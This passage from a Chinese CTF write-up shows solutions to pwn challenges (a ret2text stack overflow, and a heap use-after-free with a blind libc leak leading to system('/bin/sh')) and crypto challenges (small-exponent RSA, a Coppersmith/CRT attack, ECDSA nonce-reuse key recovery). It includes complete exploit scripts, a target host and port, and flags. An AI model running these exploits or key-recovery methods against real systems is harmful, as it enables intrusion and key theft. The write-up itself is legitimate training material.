发送 payload 覆盖返回地址,跳转到 secret_note,获得 shell 后读取 /flag。

图 6:核心利用脚本片段

  from socket import create_connection\
  from struct import pack\
  import time\
  \
  host, port = \"47.99.147.34\", 21314\
  ret = 0x40101a\
  secret_note = 0x401196\
  \
  payload = b\"A\" \* 72 + pack(\"\<Q\", ret) + pack(\"\<Q\",
  secret_note)\
  \
  s = create_connection((host, port))\
  print(s.recv(4096).decode(\"latin1\", \"ignore\"))\
  s.sendall(payload)\
  time.sleep(0.2)\
  s.sendall(b\"cat /flag\\n\")\
  time.sleep(0.2)\
  print(s.recv(4096).decode(\"latin1\", \"ignore\"))\
  s.close()
七、获取 flag

脚本执行后成功读取 flag。

图 7:flag 获取结果与时间戳

flag{d9fcee27c6a249b046bfd61de6825aab}

八、总结

本题通过 read 栈溢出覆盖返回地址,利用 No PIE 下固定地址的 secret_note
后门函数完成 ret2text。最终 payload 为 b
A72 + p64(0x40101a) +
p64(0x401196)。

(四)PWN-UserManager

题目截图

解题思路

一、题目信息

题目名称 PWN-UserManager

题目分类 PWN

题目难度 初级

题目分值 400

题目附件 login.zip(login、libc-2.23.so)

靶机地址 47.99.147.34:19588

复现状态 靶机已关闭,无法补远程 flag
截图;以下为保存脚本与本地分析复原。

二、保护检查

获取到 login 和 libc-2.23.so 后,先使用 checksec 查看保护:

  checksec \--file=./login\
  \
  Arch: amd64-64-little\
  RELRO: Full RELRO\
  Stack: Canary found\
  NX: NX enabled\
  PIE: PIE enabled\
  Stripped: No\
  Debuginfo: Yes

可以看到程序开启了 Full RELRO、Canary、NX 和 PIE,不能采用简单栈溢出或
GOT 覆写。题目给出 glibc 2.23,并且题面提示
Fastbin,因此重点分析堆对象的释放和复用。

三、功能逆向

程序菜单为 1.Login、2.Register、3.Delete、4.Edit。全局数组 users10
位于 PIE + 0x202040,每个元素指向一个 0x18 字节的用户结构体:

struct user { char name; // +0x00,指向用户密码/字符串缓冲区 void (func)(char); // +0x08,注册时写入 show long size; // +0x10,缓冲区长度 };

• Register:先 malloc(size) 申请 name 缓冲区,再 malloc(0x18) 申请
user 结构体,写入 name、show、size。

• Login:读入 password 后与 usersid-name 做 strcmp,成功后调用
users
id-func(usersid-name)。

• Edit:执行 read(0, usersid-name, usersid-size),如果
user 结构体可控,就可以形成任意地址写。

• Delete:释放 usersid-name 和 usersid,但没有把 usersid
清空,这是核心 UAF。

四、漏洞点

Delete(id): free(usersid-name); free(usersid); // 缺少 usersid = NULL,产生悬空指针

删除用户后,全局数组仍然保存已释放结构体指针。只要后续 malloc 把该结构体
chunk 重新分配为可控输入缓冲区,就能改写悬空结构体里的 name、func、size
字段。最终目标是把 func 改成 system,并让 name 指向或存放 /bin/sh。

五、Fastbin 利用流程

在已知 libc 基址的本地环境中,最直接的利用流程如下:

• Register(0, 0x18, A0x18),得到 name0(0x20) 和 node0(0x20)。

• Delete(0),两个 0x20 chunk 进入 fastbin,users0 悬空指向 node0。

• Register(1, 0x18, payload),name1 复用 node0,于是 payload
实际写入悬空的 users
0 结构体。

• payload = p64(binsh) + p64(system) + p64(8),把 users0 伪造成
{name=/bin/sh, func=system, size=8}。

• Login(0, 8, /bin/shx00),strcmp 通过后调用
system(
/bin/sh)。

六、libc 基址与盲读思路

远程情况下的难点是没有直接泄露地址的输出。show() 只有在 strcmp 成功后才
puts(name),因此保存脚本使用 strcmp 的成功/失败作为 oracle,逐字节爆破
unsorted bin 中残留的 libc 指针。

• 先申请 0x80 大小的 name0,释放后进入 unsorted bin,chunk 中残留
main_arena+88。

• 通过 fastbin 复用,让 Edit(2) 可以改写悬空 users1 结构体的 name
指针低字节。

• 把 users1-name 依次指向 libc 指针的高位字节,利用 strcmp
字符串必须以 0 结尾的特点,从高字节向低字节爆破。

• Login(1, idx, guess) 若返回 Login success,说明当前 guess 正确。

libc_leak_offset = 0x3c4b78 glibc 2.23 main_arena + 88 libc_base = u64(leak_data.ljust(8, bx00)) - libc_leak_offset system_addr = libc_base + libc.symbolssystem

七、劫持函数指针

泄露并计算出 system 地址后,继续使用伪造出的写原语覆盖函数指针:

edit(2, p8(0xa8)) 让 users1-name 指向 users0-func edit(1, p64(system_addr)) 覆写 users0-func 为 system edit(0, b/bin/shx00) users0-name 写入 /bin/sh login(0, 8, b/bin/shx00)

触发时程序实际执行 users0-func(users0-name),也就是
system(
/bin/sh)。

八、完整脚本

完整脚本如下,端口和交互逻辑来自当时保存的脚本;当前靶机已关闭,无法再次远程验证。

  #!/usr/bin/env python3\
  from pwn import \*\
  \
  context.update(arch=\'amd64\', os=\'linux\', log_level=\'debug\')\
  \
  HOST, PORT = \'47.99.147.34\', 19588\
  elf = ELF(\'./login\', checksec=False)\
  libc = ELF(\'./libc-2.23.so\', checksec=False)\
  \
  def start():\
  \# 靶机关闭后无法再次远程验证;本地调试时可替换为
  process(\'./login_patched\')\
  return remote(HOST, PORT)\
  \
  io = start()\
  \
  def choice(n):\
  io.sendlineafter(b\'Your choice:\', str(n).encode())\
  \
  def register(idx, size, data):\
  choice(2)\
  io.sendlineafter(b\'Input the user id:\', str(idx).encode())\
  io.sendlineafter(b\'Input the password length:\', str(size).encode())\
  io.sendafter(b\'Input password:\', data)\
  \
  def login(idx, size, data):\
  choice(1)\
  io.sendlineafter(b\'Input the user id:\', str(idx).encode())\
  io.sendlineafter(b\'Input the passwords length:\', str(size).encode())\
  io.sendafter(b\'Input the password:\', data)\
  \
  def delete(idx):\
  choice(3)\
  io.sendlineafter(b\'Input the user id:\', str(idx).encode())\
  \
  def edit(idx, data):\
  choice(4)\
  io.sendlineafter(b\'Input the user id:\', str(idx).encode())\
  io.sendafter(b\'Input new pass:\', data)\
  \
  \# 1. 构造 UAF 与堆块复用关系\
  register(0, 0x80, b\'a\') \# name0: 0x90 chunk, node0: 0x20 chunk\
  register(1, 0x20, b\'b\') \# name1: 0x30 chunk, node1: 0x20 chunk\
  delete(0)\
  delete(1)\
  \
  \# 2. name2 复用 node1,node2 复用 node0。edit(2) 可以改写 dangling
  node1。\
  register(2, 0x18, p8(0x20))\
  register(3, 0x80, b\'aaaa\')\
  \
  \# 3. 使用 strcmp 成功/失败作为盲读 oracle,从高字节向低字节爆破
  main_arena+88\
  leak_data = b\'\'\
  start_offset = 0x1d\
  for idx in range(1, 7):\
  edit(2, p8(start_offset))\
  for byte_val in range(0x100):\
  guess = p8(byte_val) + leak_data\
  login(1, idx, guess)\
  resp = io.recvuntil(b\'\\n\')\
  if b\'success\' in resp:\
  leak_data = p8(byte_val) + leak_data\
  log.info(\'leak\[%d\] = %s\' % (idx, leak_data.hex()))\
  break\
  start_offset -= 1\
  \
  libc_leak = u64(leak_data.ljust(8, b\'\\x00\'))\
  libc_base = libc_leak - 0x3c4b78 \# main_arena + 88 in glibc 2.23\
  system_addr = libc_base + libc.symbols\[\'system\'\]\
  \
  log.success(\'libc leak = %#x\' % libc_leak)\
  log.success(\'libc base = %#x\' % libc_base)\
  log.success(\'system = %#x\' % system_addr)\
  \
  \# 4. 把 users\[1\]-\>name 指向 users\[0\]-\>func,覆写函数指针为
  system\
  edit(2, p8(0xa8))\
  edit(1, p64(system_addr))\
  \
  \# 5. 写入 /bin/sh,Login(0) 通过 strcmp 后触发
  users\[0\]-\>func(users\[0\]-\>name)\
  edit(0, b\'/bin/sh\\x00\')\
  login(0, len(b\'/bin/sh\\x00\'), b\'/bin/sh\\x00\')\
  \
  io.interactive()
总结

本题是经典 UAF + Fastbin 复用题。Delete 后没有清空
users
id,使全局数组保留悬空结构体指针;Register
的分配顺序可以让该结构体 chunk 被复用为可控 name
缓冲区,从而改写函数指针。由于没有直接地址泄露,脚本进一步利用 strcmp
成功/失败作为盲读 oracle,爆破 main_arena+88 并计算 libc
基址,最终将函数指针改为 system,触发 system(
/bin/sh)。

Crypto

(一)BabyRSA7

题目截图

解题思路

e很小,直接用存的模板解

from gmpy2 import *
from Crypto.Util.number import long_to_bytes

n = 112236684276598445953470958979974248139305658317743482421936811887828282366740495598766025283574975379354653410041294383732249721913289160553784366226963636561141148428299310897822558962407745549801741467690656825961511511191360890527802201275378106451269606406534901848399667333669874060639983305991244441419
e = 3
c = 2217344750798591625447833487696320861775115646060744565481810923840358354823011100363343264521780315972663215185875986580406759972170037422918646653524839131172834345312234369524761802337273644307475982202699180835279895013740317857205387940896435849998551522519951199597669

k = 0
while True:
    # iroot 用于计算x的开e次方根,返回一个二元组
    # 第一个返回值是m
    # 第二个返回一个boolean,True表示x正好是某个数的e次方,False则表示不是
    res = iroot(k * n + c, e)
    if res[1] :
        print(res[0])
        print(long_to_bytes(res[0]))
        break
    k += 1

获取 flag

flag{769cc0209669698952823747f21eb10e}

(二)ScatterRSA5

题目截图

解题思路

已知:

$$(a_{i}m + b_{i})^{3} \equiv c_{i}\ (mod\ n_{i})$$

构造

$$f_{i}(x) = (a_{i}x + b_{i})^{3} - c_{i}$$

则真实消息 $m$ 满足:

$$f_{i}(m) \equiv 0\ (mod\ n_{i})$$

因为有 3 组不同模数,利用 CRT 合并成一个多项式:

$$F(x) \equiv f_{i}(x)\ (mod\ n_{i})$$

于是

$$F(m) \equiv 0\ (mod\ N)$$

其中

$$N = n_{1}n_{2}n_{3}.$$

由于 flag 很短,$m$ 很小,而 $e = 3$,满足 Coppersmith
小根条件,可以直接求出整数根。

代码:

from Crypto.Util.number import *
from sage.all import *

e = 3

n1 = 149471060183447936980583724077383355692859549748160483922882057786679889724568735409700801419094449680179537972191386993867603702668679668306553872004112428130445313416376761696995587923246012864695652948590643274432834651820778665154718441663982326046364106308730652635560436118543611436354327938966961951331
a1 = 338357169433999657984537538913876406512
b1 = 93847424699168028058780966473339328294563919918279821164826861675759747822473
c1 = 34430785473972448692161870438454747957572539725348052391872439699125614318617944233945435120736663933086730870001078547637231830857724653038238391533873103813416667121436773552883728877333074855071947485287211983644966320215763505267172535742466614496283950064702104001756579277994685029747130324495922934824

n2 = 136208311021853934494321526163487402847606152806878513126721255023187308282712159028473636037218420695241421047139045462207710118475470833469710436525689272408725084045869012458304422970856284334034664511095523337861420570291860365945627161581720048251636888973944007258654574459601742740725214557960291587093
a2 = 210159459133364897705545011926383119957
b2 = 74483550021698235990017063068736489470332200818750996109360669737597615620734
c2 = 65848819896666974375632779039055530715010908060496037581668759351626175569708470229723960027360662306305056082920816591767273118605973071872362536660178228232553811410036029980902415557631512893136834586512735075782676874224713303863141175997683953686345129511914583248784781481798775931011866332596570194034

n3 = 82652967947889398199319831939462247407668338515110341768941889168185275246644533880961823434897679342885742614801012871683883930282174722842480675111751417498838557911165115871277850939076605407319338006054219745248120417349691923431914233299552930754329410187283208111137353492043167768681800218790589223357
a3 = 199911740299251293530378730825698235865
b3 = 68732143566645321375517954575950854502528418137776163830420574169391007168591
c3 = 51340834165603541850289422968933197549138520376008561464103340964512256853359481315990010558393063830494392635850123981273823075027217730499305639170834510618887689796988185065764000318346393823713212563487497843538255447085603427388969321069818275429070290349663235662061366355280671380640262747225336183124

R.<x> = PolynomialRing(Zmod(1))

f1 = (a1*x + b1)^3 - c1
f2 = (a2*x + b2)^3 - c2
f3 = (a3*x + b3)^3 - c3

N = n1*n2*n3

# CRT coefficients
N1 = N // n1
N2 = N // n2
N3 = N // n3

t1 = inverse_mod(N1, n1)
t2 = inverse_mod(N2, n2)
t3 = inverse_mod(N3, n3)

# 合并为模 N 的单个多项式
PR.<x> = PolynomialRing(Zmod(N))

F = (
    ((a1*x+b1)^3-c1) * N1 * t1 +
    ((a2*x+b2)^3-c2) * N2 * t2 +
    ((a3*x+b3)^3-c3) * N3 * t3
)

F = F.monic()

roots = F.small_roots(
    X=2^350,
    beta=1.0,
    epsilon=1/20
)

print("[+] roots =", roots)

if roots:
    m = int(roots[0])
    print(long_to_bytes(m))

获取 flag

flag{83f32ba281c5fc035b02c2fe1e7a270e}

(三)ECDSA nonce 重用

题目截图

解题思路

观察数据可以发现:

signature1_r == signature2_r

在 ECDSA 中,如果两次签名复用了相同随机数 k,就会产生相同的
r。这会导致私钥可以被直接恢复。

ECDSA 签名公式为:

s = k^-1 * (z + r * d) mod n

其中:

  • d 是私钥
  • k 是签名随机数 nonce
  • z 是消息哈希
  • r, s 是签名值
  • n 是椭圆曲线基点的阶

两次签名复用同一个 k 时:

s1 = k^-1 * (z1 + r * d) mod n
s2 = k^-1 * (z2 + r * d) mod n

两式相减:

s1 - s2 = k^-1 * (z1 - z2) mod n

因此可以恢复 k:

k = (z1 - z2) * (s1 - s2)^-1 mod n

拿到 k 后,再由签名公式恢复私钥:

d = (s1 * k - z1) * r^-1 mod n

还有一个需要注意的是,题目给的flag格式是固定长度的,所以最后需要将d转成十六进制,再取前32位。(其实是试了很多遍才对的)

import json
import hashlib

p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F
n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
Gx = 55066263022277343669578718895168534326250603453777594175500187360389116729240
Gy = 32670510020758816978083085130507043184471273380659243275938904335757337482424

def inv(a, m):
    return pow(a % m, -1, m)

def point_add(P, Q):
    if P is None:
        return Q
    if Q is None:
        return P

    x1, y1 = P
    x2, y2 = Q

    if x1 == x2 and (y1 + y2) % p == 0:
        return None

    if P == Q:
        lam = (3 * x1 * x1) * inv(2 * y1, p) % p
    else:
        lam = (y2 - y1) * inv(x2 - x1, p) % p

    x3 = (lam * lam - x1 - x2) % p
    y3 = (lam * (x1 - x3) - y1) % p
    return x3, y3

def scalar_mul(k, P):
    R = None
    while k:
        if k & 1:
            R = point_add(R, P)
        P = point_add(P, P)
        k >>= 1
    return R

with open("challenge.json", "r", encoding="utf-8") as f:
    c = json.load(f)

msg1 = bytes.fromhex(c["message1"])
msg2 = bytes.fromhex(c["message2"])

z1 = int.from_bytes(hashlib.sha256(msg1).digest(), "big")
z2 = int.from_bytes(hashlib.sha256(msg2).digest(), "big")

r = int(c["signature1_r"])
s1 = int(c["signature1_s"])
s2 = int(c["signature2_s"])

k = ((z1 - z2) * inv(s1 - s2, n)) % n
d = ((s1 * k - z1) * inv(r, n)) % n

public_key = scalar_mul(d, (Gx, Gy))
expected_public_key = (int(c["public_key_x"]), int(c["public_key_y"]))

print("k =", k)
print("private_decimal =", d)
print("private_hex =", format(d, "064x"))
print("pubkey_matches =", public_key == expected_public_key)
print("flag{ecdsa_nonce_reuse_" + format(d, "064x")[:32] + "}")

获取 flag

flag{ecdsa_nonce_reuse_7880119303429b4ed0e4237c584e0795}

==END==